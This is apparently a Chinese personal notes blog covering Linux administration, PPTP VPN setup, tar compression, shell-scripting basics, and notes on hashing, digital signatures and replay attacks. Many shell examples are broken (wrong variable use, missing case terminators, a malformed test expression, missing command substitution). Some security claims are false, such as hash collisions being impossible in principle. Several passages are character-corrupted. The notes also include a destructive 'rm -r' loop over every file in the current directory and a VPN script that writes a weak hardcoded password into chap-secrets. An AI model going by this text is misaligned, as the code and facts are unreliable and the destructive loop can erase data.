finger 用户名 w命令——查询当前主机的用户登录情况(也可以使用user或who命令) 如下:使用w命令查看当前系统中的用户登录情况。

本文出自 “邓奇的Blog” 博客,谢绝转载!

Update / Upgrade

更新系统

不管什么更新 最好更新下 源!

更新源 apt-get update

软件更新 最常用 apt-get upgrade

升级系统 (版本之间的升级 变化很大) apt-get dist-upgrade

Ubuntu

pptp vpn 安装:

  1. 安装 pptp : apt-get install pptpd

  2. 编辑 pptp.conf vi /etc/pptpd.conf
  3. 将以下内容行的注释去掉:(18 / 99 / 100 行) option /etc/ppp/pptpd-options localip 192.168.0.1 remoteip 192.168.0.201-245 这两句设置了当外部计算机通过pptp联接到vpn后所能拿到的ip地址范围和服务器的ip地址设置。

  4. 添加登录用户 vi /etc/ppp/chap-secrets 添加一行,格式如下 用户名 pptpd “你想要的密码” * 用户名不要引号 密码要用半角双引号括起来 千万不能忘了 星号.星号是说允许从任何IP地址联接,如果你想单独设定IP地址也可以。

理论上到这里一个vpn就已经搭建完毕了。无论你用的是Windows还是OSX,或者是iPhone OS,都可以通过建立一个pptp链接来联入这个VPN。

不过你并不能通过这个来上Internet,因为所有的数据都作用于那台pptpd的服务器上, 而不会传入拨入的计算机设备上。要上Internet还需要这么干:

设置DNS解析,编辑pptpd-options vi /etc/ppp/pptpd-options

UUID

Universally Unique Identifier 通用唯一识别码

这是软件构建的标准.

指的是 在 一台机器上生成的数字,保证对在同一时空中的所有机器都是唯一的.

用到了 以太网地址. 纳秒级时间,芯片 ID ..

UUID 组成: 当前时间日期: 第一部分 个时间有关. 你生成一个 UUID. 过几秒后又生成一个 第一部分是不一样的.其余是相同的.

  1. 时钟序列

  2. 全球唯一的 IEEE 机器识别码.

    如果有网卡 那么优先从MAC 地址获取.

唯一缺陷是: 生成的结果 比较长!!!

其格式为:xxxxxxxx-xxxx- xxxx-xxxxxxxxxxxxxxxx(8-4-4-16),其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。而标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12),可以从cflib 下载CreateGUID() UDF进行转换。

使用者 ID (User ID 简称 UID) 群组 ID (Group ID 简称 GID)

每个用户 至少有两个 ID
电脑根据这两个 id 判断用户.(而不是用户名)

UID 0     → 系统管理员 1-499 → 系统账号 500+  → 分配给用户使用.

基本用法:

  • 分页显示: ls | less ls | more

  • 结果输出:

    arp -a > xx.txt // 直接给出文件名字. (文件不需要存在) 在哪运行 就保存在哪.

Tar Compress / uncompress

压缩:compress 解压:uncompress

*压缩原理: 文件是用 byte来计量的 1byte=8bits 比如 数字1 实际是00000001
前面有7个o 这个可以通过软件去掉 这就是压缩.

还有 比如有个数据 有连续100个1
压缩技术会用100个1 几个字 代替真的100个1字 这也是压缩

简单的说 文件里面有相当多的空间存在 0000001 前面的0 都是空间. 压缩就是优化这些没用的0空间

多文件 压缩的话 用 tar

tar -j ctx v filaname.tar.bz2  

mkisofs 把文件变成映像

cdrecord 光盘刻录.

打包: 将许多个文件和目录合并保存为一个整体的包文件,以方便传递或携带。

压缩: 进一步降低打包好的包文件所占用的磁盘空间。     在linux系统中比较常见的压缩工具包括gzip、bzip2,最常用的打包命令工具为tar。使用tar命令可以通过特定选项自动调用gzip或bzip2程序,以完成打包,压缩的整套流程,当然也可以完成解压,释放包文件的整套流程。 gzip和bzip2是linux系统中常用的两个压缩工具,这两个命令都可以压缩指定的文件,或者将已经压缩过的文件进行再次压缩。(不能对目录进行压缩)两者使用的压缩算法个不相同但命令使用格式基本类似,一般来所bzip2的压缩比率要好些。
gzip :压缩和解压缩工具,默认后缀是“.gz”。
gzip 选项 目标文件
-9 :提高压缩的比率。
-d :解压缩,默认解压到当前目录。
列如:一下操作将对当前目录下的file文件进行压缩,生成压缩文件file.gz(原始文件file不在保留),压缩后的文件大小变为242KB(未压缩时为892KB)

bzip2和bunzip2 :压缩和解压缩工具,默认后缀是“.bz2”。
bzip2 选项 目标文件
-9 :提高压缩的比率。
-d :解压缩,默认解压到当前目录。
列如:一下操作将对当前目录下的file文件进行压缩,生成压缩文件file.bz2(原始文件file不在保留),压缩后的文件大小变为206KB(未压缩时为892KB)

tar命令主要是对目录和文件进行打包,在实际的备份工作中,通常在打包的同时也会将包文件进行压缩(需要调用前面的gzip或bzip2),以便节省磁盘空间。使用tar命令时选项前面的“-”好可以省略。
-c :创建.tar格式的包文件。
-C :解包是制定释放的目标文件。
-f :表示使用归档文件。
-j :调用bzip2程序进行压缩或解压。
-p :打包时保留文件及目录的权限。
-P :打包时保留文件及目录的绝对路径。
-t :列表查看包内的文件。
-v :输出详细信息。
-x :解开.tar格式的包文件。
-z :调用gzip程序进行压缩或解压。 制作打包文件
tar 选项 归档及压缩文件名 需要归档的源文件或目录
如果需要对制作的归档文件进行压缩,可以通过“-z”或“-j”选项自动调用压缩工具(分别对应gzip、bzip2命令程序)进行压缩。
列如:以下操作将/boot目录进行打包压缩,在当前目录下生成名为boot.tar.gz的包文件。

从包文件中解压数据
tar 选项 归档及压缩文件名 -C 目标目录
当从“ .tar.gz”格式的包文件中解压数据时,需要结合“-z”选项来自动调用压缩工具,而对于“ .tar.bz2”格式的归档压缩包,对应的是“-j”选项。默认情况下,解压的数据将放在当前目录,如果要恢复到指定的目录下,还需要使用“-C”选项来指定目标目录。
列如:以下操作将上面打包的“boot.tar.gz”文件解压到根目录下。(将覆盖现有的目录)

注意:使用tar命令可以很好的结合gzip、bzip2压缩工具,所以我们很少会将gzip和bzip2单独调用。都是将“gzipb和zip2”结合到tar命令中一起使用的。

终端的本质是对应 Linux 的 /dev/tty 设备.

多用户登录 就是用 /dev/tty 完成的.

Linux 提供 6个 terminal 也就是 6个 virtual console. 物理机上可以通过 ⌃+⌥+F1-F6 来切换.

TTL

不同的操作系统 TTL 默认值是不同的. 可以根据这个来判断对方的操作系统. 默认 TTL 值:

  • Linux 64/255
    • Windows 98 32
    • Windows NT/2000/xp 128
    • Unix 255
    • LINUX Kernel 2.2.x & 2.4.x 64
    • LINUX Kernel 2.6.x 47 ……

如果把windows服务器的 TTL 值 默认128 改成255. 那么扫描工具就会把这个服务器当成 Unix 系统.这就安全多了.

  • 修改方法: 通过注册表.

Shell-Script

Shell、Shell Script 概念

  • shell是一个应用程序,这个程序提供一个界面,用户通过这个界面访问操作系统内核的服务。
  • shell脚本(shell script):是一种用shell编写的脚本程序。一些命令的集合而已.

    适合修改文件.

    软件要求: 文本编辑器(如: vi ) + 脚本解释器.

    Mac: 自带 sh bash zsh 等等多种 解释器.
    Win: 自行安装脚本解释器.

脚本解释器: 常用编程语言都支持脚本编程,如:Perl、Tcl、Python、PHP、Ruby。
  • sh :———- 标准 shell 解释器 路径→ /bin/sh
  • bash :——– sh 的升级版. 路径→ /bin/bash
  • Perl:——— 最老牌的脚本编程语言了.
  • Python:——- 新linux发行版的预置解释器.

指令执行 顺序 从上玩下 从左到右. 多个空格 和 空行 会被自动忽略.

良好习惯:

脚本功能 版本资讯 作者联系方式 版权 历史记录 内部特殊指令 用 绝对路径来下达 环境参数设定.

脚本写说明.

结构.在{}里面 最好用 tab 键 后推. 这样代码才漂亮. 使用 vim 而不是 vi vim 支持语法检测,能第一时间发现语法问题.

用 read 与用户进行互动(让用户可以选择输入内容) 或者选择文件安装路径.

按照日期 对文件进行备份. 可以将文件名 取成: 带日期的格式

假设 脚本:用户自定义文件夹名字. 输出 带有日期的文件夹名字.

所有脚本 放在一个固定的文件夹.

#!/bin/bash
# Program:
#       This program shows "Hello World!" in your screen.
# History:
# 2015/07/16    VBird   First release
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
echo -e "Hello World! \a \n"
exit 0

文本结构.

  1. 第一行:指定 shell 版本

  2. 环境参数设置 及 备注内容,联系方式,建立日期 主要环境参数设置: 务必设定, PATH 和 LANG 可以直接下达指令 而不必写 绝对路径.!!!!!

  3. 脚本主体.

  4. 执行结果通知(定义 回传值)
  5. exit n(n 是数字) 可以自定义错误信息?

脚本主要成分: 注释 命令 变量 结构控制语句

变量: 整数/英文串

实例:

#! /bin/bash
mkdir xx   #新建文件夹
cd xx  # 进入文件夹
rm xx #删除文件夹
rm -r xx # 删除文件夹及其下所有目录.
cd ..   # 回到上级文件夹.



for i in 1 2 3  # 设置一个变量 i 让它分别取 1 2 3,也就是重复三次的意思.
do
    mkdir he
    cd he
    mkdir llo
    cd..
    rm -r he
done

for i in * do rm -r $i done

管理主机: 查看登录档案 追踪流量 监控主机状态 硬件状态 软件更新查询.

脚本编写:

先学习简单的 sh/bash 有需求再学习高级的:Perl / python 脚本

文本编辑器 → 新建文件 → 扩展名 sh( 代表shell)

扩展名不影响脚本执行 只是为了方便 见名知意
shell 写的脚本 扩展名用 .sh
php 写的脚本 扩展名用 .php

行为单位.!!!

第一行:

一般都是这样的

#!/bin/sh
#!/usr/bin/php  

#!: 约定标记,告诉系统 这个脚本需要用什么解释器来执行.

第二行

脚本功能说明.

脚本运行方法: (二选一)

  • 作为可执行程序 (给文件 可执行权限) chmod +x xu.sh ./xu.sh

    运行二进制程序 一定要加 ./ 意思是在当前目录找

  • 直接运行指定解释器,不需在第一行加解释器.加了也没用.
    • sh test.sh
    • php test.php

注释:

  • ”#”号开头的都是注释.不执行.
  • 大段代码临时注释:
    • 一行一个加# 太麻烦了
    • 可用花括号: { 代码 } 把代码变成一个函数. 达到和注释一样的效果.

变量:字符串/整形

大型脚本,某一命令/路径出现几百次, 突然要换路径……. 而且为了避免脚本臃肿 → 这就需要变量.

  • 定义变量: your_name=”xujian”

    等号两边不能有空格.

  • 使用变量: $ + {变量名}

    例: echo ${your_name}

d=date +%H:%M:%S echo “Time is $d”

计算两个数之和:

a=1
b=2
sum=$[$a+$b]
echo "sum is $sum"
#数学计算要用 [] 括号.  或者下面的 两个(())

a=10 b=20
echo $(($a+$b))

read 用户交互

从标准输入获得变量值,后面跟变量名. echo “please input a number:” read x echo “please input another number:” read y sum=[$a+$b] echo “the sum is: $sum”

上面代码也等于: read -p “please input a number:” x read -p “please input another number:” y sum=$[$a+$b] echo “the sum is: $sum”

预设变量:

sum=$[$1+$2]
echo $sum
输出:3
# 本脚本身没有定义 $1 $2  
脚本预设好的$1 就是1  $2 就是 2  $0 就是脚本文件名! 

”/etc/init.d/iptables restart “

  • 前面 /etc/init.d/iptables 其实是一个 shell 脚本
  • 后面 restart 脚本的预设变量.

sleep 睡眠指令:

固定多久之后执行脚本里面的 下一个命令. sleep 20 s/m/h/d

转义字符

  • ” : 编程语言中有特殊意义,用作字符串的分界符
  • " : 才是表示 “ 本身

字符串:单引号 / 双引号

单引号内: 任何字符都原样输出. 里面的变量无效.
双引号内: 可以有变量 也可以出现 转义字符.

例:

  1. 进入到/tmp/目录;
  2. 列出当前目录中所有的文件名;
  3. 把所有当前的文件拷贝到/root/目录下;
  4. 删除当前目录下所有的文件。

简单的4步,需要你敲4次命令,按4次回车。麻烦! 这还只是几个命令 要是几十个命令…

把所有的操作都记录到一个文档中,然后去调用文档中的命令,这样一步操作就可以完成。
其实这个文档呢就是shell脚本了,只是这个shell脚本有它特殊的格式。

sehll 脚本能帮助我们很方便的管理服务器. 因为我们可以指定一个计划定时任务去运行某个脚本.

139邮箱:发邮件的同时还可以发一条邮件通知的短信给用户.
利用这点,我们就可以在我们的linux服务器上部署监控的shell脚本,比如网卡流量有异常了或者服务器web服务器停止了就可以发一封邮件给管理员,同时发送给管理员一个报警短信这样可以让我们及时的知道服务器出问题了。

自定义脚本 建议都放到 /usr/local/sbin/ 目录下. 方便维护和管理

脚本必须写注释!! 方便自己 方便他人.

默认 vim 编辑出来的文件是不带 执行权限的. sh -x filename 查看脚本执行过程. 有利于调试.

date: 打印当前系统时间

#!/bin/sh

date
# 默认格式 完整显示
# 输出:2015年11月 9日 星期一 12时51分17秒 CST

date "+%Y-%m-%d %w %H:%M:%S"
# 自定义格式: +加号必须有 , y:15年 Y:2015年 ; w:星期 HMS 必须大小写 .  

输入名字, 输出 hello + 名字

echo "what is your name"
read persion
echo "hello,$persion"

if / else

不带 else:

if + 判断语句; then + command + fi

read -p "please input your score:" a
if ((a<60))  
then echo "you didn't pass"
fi
# if 后面必须 两个()

带 else:

if 判断语句;then
    command
else
    command
fi

带 elif:

if 判断语句一;then
    command
elif 判断语句二;then
    command
else
    command
fi

例:判断考试成绩: 小于60;60-80;大于80

read -p "input your score:" a
if ((a<60)); then 
    echo "you failed the exam"
elif ((a>60)) && ((a<80)); then
    echo "Good you passed"
else
    echo "very Good"
fi

文件属性权限:

r: 是否有读权限 w: 是否写权限 x: 是否可运行 b: 设备文件 f: 是否是普通文件(不是目录 也不是设备文件) d: 是否存在,且 是否是目录. s: 文件大小是否空 不空返回 true e: 文件是否存在

if [ -d /home ]; then echo ok; fi
if [ -x ~/desktop/xx.sh ]; then echo runable" fi ---

file="/var/www/tutorialspoint/unix/test.sh"
if [ -r/w/x/f/d/s/e $file ]()
echo “a”
else
    echo “b”
fi

case 逻辑判断

常用于 编写系统服务的 启动脚本. 如: /etc/init.d/iptables 中就用到了.

read -p "please input a number:" n
a=$[$n%2]
case $a in
    1) echo "this number is odd (奇数)"
    0) echo "this number is even (偶数)"
esac

脚本循环 for / while

for 变量名 in 循环条件; do command done

for i in seq 1 5; do echo $i done

输出 1 2 3 4 5

a=10 while [ $a -ge 1 ]; do echo “$a” a=$[$a-1] done

显示 10 9 8 7 6 5 4 3 2 1

函数:

把一段代码 整理到一个单元中,并给单元起名. 用到这段代码 直接调用 单元名.

函数一定要写在最前面 函数是被调用的.不然会出错.

function 函数名(){ command }

实例: 复制 /root/ 目录下所有内容(一级目录)到 /users/v/Desktop/目录下 #!/bin/bash for f in ls /root/ ; do if [-d $f ]; then cp -r $f /usr/desktops fi done

批量建立 很多用户user_00 01 02….100 都属于 users 组

#!bin/bash
groupadd users
for i in seq 0 100;do
useradd -g users user_0$i
done

脚本:

vi sh01.sh

!/bin/bash 1. 宣告这个档案内的语法使用 bash 的语法!

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/bin export PATH echo -e “Hello World! \a \n” 程序主体 exit 0 表离开 script 并且回传一个 0 给系统,

1.  除了第一行的『 #! 』是用来宣告 shell 版本外, 其他的 # 都是『批注』用 途!  第二行以下就是用来说明整个程序的基本数据。 一般来说, 建议你 一定要养成说明该 script 的: 1. 内容及功能;  2. 版本信息;  3. 作者+联系方式;   5. 历史记录 。

脚本练习: 输入 姓名 屏显出来

!/bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/bin export PATH read -p “Please input your first name: “ firstname # 提示使用者输入 read -p “Please input your last name: “ lastname # 提示使用者输入 echo -e “\nYour full name is: $firstname $lastname” # 结果由屏幕输出

source 读取内容并执行.

常用命令:

ps 查看进程列表

shell 执行命令方式: 交互式 interactive : 用户输入一条 执行一条 批处理: 把很多命令 写进一个脚本.然后让 shell 一次性执行完.

bash Linux 默认的 shell sehll 只需要写一次. 通用性很强. vi xx.sh

例子: 输入名字 输出欢迎文字.

echo “what is your name ?” read name echo “welcome,$name”

变量: = → 定义变量(等号和变量中间不能有空格); $ → 使用变量

变量: 首字母必须 a-Z 不能有空格. 不用标点符号

只读变量: readonly 值不能被改变

删除变量:unset unset xujian_xx (不能删除只读变量.)

变量类型: 局部变量: 当前 shell 有效 环境变量:所有程序都能访问环境变量 有些程序要环境变量来保证其 正常运行.

特殊变量: $0 当前脚本文件名 echo “file name: $0”

退出状态: $? 大部分命令 执行成功返回0 失败返回1

替换: 脚本 表达式 里面的特殊字符 shell会进行替换
双引号里面的变量是一种 转义字符 也是一种.

例: 回车键 a=10 echo -e “a is $a \n” 输出 a is 10

echo “a is $a \n” 输出 a is 10 \n

\ 反斜杠 \a 警报 \b 删除键 \f 翻页 \n 换行 \r 回车 \t 制表符(Tab 键)

-n 禁止插入换行符.

变量替换

${var}变量本来的值

${var:-word}如果变量 var 为空或已被删除(unset),那么返回 word,但不改变 var 的值。

${var:=word}如果变量 var 为空或已被删除(unset),那么返回 word,并将 var 的值设置为 word。

${var:?message}如果变量 var 为空或已被删除(unset),那么将消息 message 送到标准错误输出,可以用来检测变量 var 是否可以被正常赋值。若此替换出现在Shell脚本中,那么脚本将停止运行。

${var:+word}如果变量 var 被定义,那么返回 word,但不改变 var 的值。

原生 bash 不支持 简单数学运算 用过 expr 来算

== 等于 比较数字 相同返回 true 不相同返回 false 例: $a == $b
!= 不等于 比较数字 不相同返回 true 相同返回 false

关系运算: -eq 检测两个数是否相等,相等返回 true -ne 检测两个数是否相等,不相等返回 true -gt 检测左边的数是否大于右边的,如果是,则返回 true。 -lt 检测左边的数是否小于右边的,如果是,则返回 true。 -ge 检测左边的数是否大等于右边的,如果是,则返回 true。 -le 检测左边的数是否小于等于右边的,如果是,则返回 true。

! 非运算 -o 或运算, -a 与运算

 $a -lt 20 -o $b -gt 100  只要一个对的 就返回 true。

 $a -lt 20 -a $b -gt 100  两个同时对的 返回 true

= 检测两个字符串是否相等,相等返回 true != 检测两个字符串是否相等,不相等返回 true。 -z 检测字符串长度是否为0,为0返回 true -n 检测字符串长度是否为0,不为0返回 true。 str 检测字符串是否为空,不为空返回 true。

获取字符串长度 string=“abcd” echo ${string} #输出4

提取字符串 string=“xujian@126.com” echo “${string:1:5}” # 输出xujia

定义数组 array_name=(xujian xx 0219) 或者 array_name0=xujian array_name1=xx array_name2=0219

读取数组 echo “1: ${array_name0}” 星号 读取数组中所有元素 echo “1: ${array_name*}”

echo shell 内部指令. 屏幕上输出指定字符串.

换行输出 echo “ok\n” echo “it is a test” 输出: ok it is a test

不换行输出 echo “ok\c” echo “it is a test” 输出: okit is a test.

显示当前日期 echo date

printf echo 增强版

if else 语句: 通过判断真假 来决定执行哪个分支 if …then … fi if … else … fi if … elif …else …fi

if  $a == $b  then fi

case esac 多分支选择结构. 匹配一个值 如果匹配成功 就执行相匹配的目录

比如 总有4种模式 1234 让你选择一种. 然后执行相应的模式.

for 循环

顺序输出 当前列表的数字

for loop in 1 2 3 4 5 do echo “output: $loop” done 结果: output:1 output:2 output:3 output:4 output:5

显示主目录下 以.bash 开头的文件: for FILE in $HOME/.bash do echo $FILE done

结果: /root/.bash_history /root/.bash_logout /root/.bash_profile /root/.bashrc

函数: 将复杂功能 分成几个模块. 清晰程序结构. 先定义后使用.

命令的输出不仅可以是显示器 还可以很容易的转向文件. 这个就是 输出重定向.
命令 > file 追加: 命令 >> file

输入重定向 命令 可以从文件获取输入. 本来需要键盘输入的 可以通过文件读取命令.

每个命令运行时候 都会打开三个文件. 标准输入文件:stdin 读取数据 标准输出文件:stdout 输出数据 标准错误文件:stderr 储存错误信息

默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定

如果希望 stderr 重定向到 file,可以这样写: 1 $command 2 > file 如果希望 stderr 追加到 file 文件末尾,可以这样写: 1 $command 2 >> file 2 表示标准错误文件(stderr)。

如果希望将 stdout 和 stderr 合并后重定向到 file,可以这样写: 复制纯文本新窗口

1 $command > file 2>&1 或 复制纯文本新窗口

1 $command >> file 2>&1 如果希望对 stdin 和 stdout 都重定向,可以这样写: 复制纯文本新窗口

1 $command < file1 >file2 command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。 

如果希望 stderr 重定向到 file,可以这样写: $command 2 > file 如果希望 stderr 追加到 file 文件末尾,可以这样写: $command 2 >> file 2 表示标准错误文件(stderr)。

如果希望将 stdout 和 stderr 合并后重定向到 file,可以这样写: 复制纯文本新窗口

$command > file 2>&1 或 复制纯文本新窗口

$command >> file 2>&1 如果希望对 stdin 和 stdout 都重定向,可以这样写: 复制纯文本新窗口

$command < file1 >file2 command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。 n >& m 将输出文件 m 和 n 合并。 n <& m 将输入文件 m 和 n 合并。 << tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入。

/dev/null 文件 如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null: 1 $ command > /dev/null /dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到”禁止输出“的效果。

如果希望屏蔽 stdout 和 stderr,可以这样写: 复制纯文本新窗口

1 $ command > /dev/null 2>&1

外部脚本:

像其他语言一样,Shell 也可以包含外部脚本,将外部脚本的内容合并到当前脚本。

Shell 中包含脚本可以使用: 1 . filename 或 1 source filename 两种方式的效果相同,简单起见,一般使用点号(.),但是注意点号(.)和文件名中间有一空格。

例如,创建两个脚本,一个是被调用脚本 subscript.sh,内容如下: 1 url=”http://see.xidian.edu.cn/cpp/view/2738.html” 一个是主文件 main.sh,内容如下: 1 #!/bin/bash 2 . ./subscript.sh 3 echo $url 执行脚本: $chomd +x main.sh ./main.sh http://see.xidian.edu.cn/cpp/view/2738.html $ 注意:被包含脚本不需要有执行权限。

例子:

#!/bin/sh       指定脚本解释器.
cd ~           切换到用户 Home 目录
mkdir xx  新建文件夹.
cd xx切换到新建文件夹,
for ((i=0; i<10; i++)); do      循环条件 一共循环十次.
touch test_$i.txt       创建 test_1....10 10个文件.
done       结束循环

一键安装的脚本涉及操作:

脚本 就是一系列命令的组合过程.

一种特殊的 描述性语言: 安装一定格式编写的 可执行文件 也叫 宏/批处理文件.

常用于 网页. 也容易被利用 如果在浏览网页时 点了含破坏计算机命令的脚本 容易受到攻击.

脚本语言比较多. 执行 只和 解释器 有关.

1、移动文件到指定目录(mv oldname newname) 2、创建目录(mkdir dirname) 3、修改权限(chmod 755 filename) 4、删除文件(rm -f filename) 以上几个基本命令都知道如何操作。

写在脚本里的 都是按照顺序执行的. 执行完 第一条 才会第二条.

例子:

#! /bin/bash

apt-get update 

apt-get install pptpd

sed -i 'N;$d' /etc/pptpd.conf  

echo -e "localip 192.168.217.1\nremoteip 192.168.217.234-238,192.168.217.245" >> /etc/pptpd.conf


echo xujian pptpd 0219 \* >> /etc/ppp/chap-secrets

sed -i -e 's/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g' -i -e 's/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g' /etc/ppp/options

sed -i 's/^#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf

sysctl -p 
/etc/init.d/pptpd restart 
apt-get install iptables


iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE

iptables-save > /etc/iptables.pptp

cd /etc/network/if-up.d/ 
touch iptables

echo -e "#\!/bin/sh" -e "\niptables-restore \< /etc/iptables.pptp" >> iptables ;  

chmod +x /etc/network/if-up.d/iptables

spawn

set timeout 30 设置超时时间. 单位秒.

!/bin/sh
//指定脚本解释器,这里是用/bin/sh做解释器
cd 
//切换到当前用户的home目录
mkdir shelltut 
//创建文件夹
cd shell_tut
//切换到新建文件夹

for ((i=0; i<10; i++)); do
touch test_$i.txt
// 创建 test_1、test_2 ... test_10 文件
done 
// 结束循环

Shell

系统核心是需要保护! 所以只能通过 shell 和核心来沟通 核心控制硬件

shell 也叫 壳程序 核心的壳子(负责与用户沟通)

*Shell好处: shell 只有几种
图形界面软件有很多种 学习成本高. 特别是软件的更新换代.

所有 Shell一般都在 /bin/sh 下面.(unix 的软件 其实就是文件)

*Shell 种类:

  • bourne again shell bash (sh的增强版本)

*已安装 shell:

  • cat /etc/shells

    • 或者 cd/bin 能看到各种Shell sh tcsh zsh bash csh•••••• 等等. 各家的shell 功能都差不多 但是语法方面略有不同.

为什么系统的shell需要写入 /etc/shells 呢 因为 某些系统服务 运行中 会查询系统能够使用的shells 查的就是这个文件.

bash 最好的是 记忆命令记录 只要按上下键 就能找到之前输入的命令了 可以记录1000+ 命令 记录在 /.bashhistory 里面.

简化 终端目录路径

env environment 环境的简写

内容 批注符号:这个最常被使用在 script 当中,规为说明!在后癿数据均不执行

| 管线 (pipe):分隑两个管线命令癿界定(后两节介绍); ~ 用户家目录 $ 取变量的 前导符 ! 逻辑 上 非的意思

目录符号:路径分隑癿符号 数据流重导向:输出导向,分删是『叏代』不『累加』 数据流重导向:输入导向 (这两个留待下节介绍) 单引号,丌具有发量置换癿功能
具有发量置换癿功能!

sort 排序指令

命令提示字符:
#  root  提示字符
$ 一般用户身份 提示字符

ttys000 tty 字符终端 session 差不多就是号码牌的意思下 000 表示 第一个终端 001 表示 第二个终端

Debian 开机启动 ssh. vi /etc/rc.local 文件末尾加入: service sshd start

Passwd

最早加密办法:

  1. 找一个 固定长度 和 固定粗细的木棍
  2. 用布条上下绕圈包裹,类似发廊门口旋转的广告灯.
  3. 木棍外的布条上写字.
  4. 去掉木棍 , 平铺布条时,你就不知道写的内容了.

电脑的出现就是为了破解密码.

RSA 算法

对明文文件或者数据, 按照某种算法进行处理, 使其成为一段不可读的代码.

互联网把全世界连在一起, 为了能安全的运用互联网,只能选择数据加密和基于加密技术的 数字签名.

公开密钥 (非对称密钥):

     使用两个不同的密钥: 加密密钥 和 解密密钥

    加密密钥:             公开  也叫 公开密钥 简称 公钥

    解密密钥:             保密  也叫私有密钥 简称  私钥

                  某用户 用公开的加密密钥 加密的信息,只有用该用户的解密密钥 才能解密.

数字签名: (公钥数字签名 / 电子签章 )

是一种类似写在纸上的物理签名. 使用了 公钥加密领域的技术.

每个人都有一对钥匙, 一个只有本人知道(密钥),一个公开(公钥) 签名的时候用 密钥 ,验证签名的时候用 公钥.

公钥必须向 身分认证机构 注册,以防别人假冒你.

注册后 身份机构 给你发一数字证书. 对文件签名后 你把数字证书和加签名的文件 发给接受者. 接受者 向身份机构 求证 是否真的是用你的密钥加密的文件.

一套数字签名 通常定义 两种互补的运算 : (私钥)用于签名 (公钥)用于验证. 公钥和私钥是互补的, 也就是说 一个公钥只能配一个私钥.

签名: 文档 用签名者的私钥进行加密. 变成数字签名的数据. 验证: 数据签名的文档 用签名者的公钥进行解密 ,能解出来 就说明这个签字是那个签名者的.

数字签名 就是只有信息的发送者才能产生的 别人无法伪造的一段 数字串, 这段数字串 同时 也是对信息的发送者 信息真实性的 一个有效证明. 如果企业的数字文件被盗 坏人就能捆绑木马到官方的exe 程序, 后患无穷.

邮件的 数字签名是有 法律效力的! 数字签名 不是邮件最下面落款 名字.

是非对称密钥加密技术 与 数字摘要技术的应用

数字签名的文件的完整性 是很容易验证的 而且数字签名 具有不可抵赖性.

DSS: 数字签名标准 digital signature standard
美国政府 用来 定义 数字签名算法的 一种标准

XML数字签名: 对XML格式的数据 进行数字签名. 以保证 报文的完整性,不可否认性,以及提供身分认证信息.

NAS 美国国家安全局

DSA 数字签名算法 : 用数字通信形式 达到签名的功能,目的是证明 通信双方的身份,来保证通信的安全.

数据项: 是数据的基本单位, 一个数据元素 可以有多个数据项组成,数据项是数据 不可分割的最小单位.

Hash 函数 Hash 一般翻译做散列,也有直音译”哈希” 就是把任意长度的输入,通过 散列 算法 变成固定长度的输出,该输出就是散列值. 不同的输入可能会散列成相同的输出,但是 不可能从散列值来唯一的确定输入值.

好的hash算法 可以使得 两个不一样的文件 但是有相同的哈希值的 输入 不能通过算法实现.

Hash 算法: md5 和sha1 是目前最广泛的算法 都是以md4 为基础设计的. 将任意长度的二进制值 映射位 较短的 固定长度的二进制值. 短的值 就是 哈希值.

哈希值 是 一段数据唯一 且极其紧凑的数值表现形式. 要找到散列为同一值的两个不同的输入,原理上是不可能的,所以hash值 可以检测数据的完整性. 简单说 就是一种单向密码体制,从明文到密文的不可逆映射,只有加密过程,没有解密. 任意长度 经过变化 得到固定长度的输出.

也可以说 hash 就是 找到一种 数据内容和数据存放地址之间的 映射关系.

算法用途 文件完整性校验

数字签名 由于 用非对称算法 运算速度慢,所以也可以用hash值 (也叫 数字摘要) 进行数字签名.

文件可以被别人窃听 但是不能被更改.

Md4 : message dagest 4

适用 32位字长的处理器 用高速软件实现. 基于32位操作系统来实现的.

Md5 :

对md4的改进 ,对输入以512位分组, 其输出是4个32位字的级联. 比md4复杂,速度要慢,在抗分析 和抗差分表现好.

Sha1 :

散列值: hash function. 将一个很大的 文件 映射成很小的 函数?

重放攻击: repaly attacks

攻击者 发送一个 目的主机以及接受过的包,来达到欺骗系统的目的. 主要用于 身份认证过程,破坏认证的正确性.

为了抵御这种攻击,现在的身分认证 一般采用 挑战应答(challenge /response)方式 用户 申请登录 发起 挑战值 并用md5 计算出相应的应答值 发送给服务器. 服务器也用md5计算出应答值 应答值一样的话就建立链接.

监听http 截获的敏感数据 大多存放在cookie 中, 有时候可以 轻松的复杂别人的cookie 直接获得 相应的权限.

加密 可以防止别人破解 但是防止不了 repaly attacks 黑客只要 重复 发送你的加密文件.就能破坏身份认证等. 这种攻击 可以改变消息去向, 发送给指定的接收人,

防御方案:

时间戳: 时戳;代表当前时刻的数字. 基本思想; 服务器 接受一个消息 :当且仅当 这个消息 包含一个对服务器而言 足够接近当前时刻的时戳. 原理- replay attacks 需要时间, 这个时间会有点久. 要求; 通信各方的 计算机 时钟 要保持同步. 处理方式:设置大小适当的时间间隔(时间窗) 越大越能包容网络传输的延时, 越小越防重放攻击.

2,序号 通信双方 通过消息中的序列号 来保持消息的 新鲜性. 要求;双方 事先协商一个初始的序列号之后的通信 协商递增方法.

3,提问与应答 客户给服务器 发送一个随机数x, 要求服务器应答消息中 包含f(x) f()是双方事先约好的一个简单函数. 客户通过 服务器回的 f(x)值 判定 消息是不是重放攻击.

会话劫持?

劫持 分两种: 被动劫持:在后台监听双方会话的数据流,从中获得敏感数据 主动劫持:将会话当中的某台主机 踢 下线,由 攻击者取代 并 接管会话.

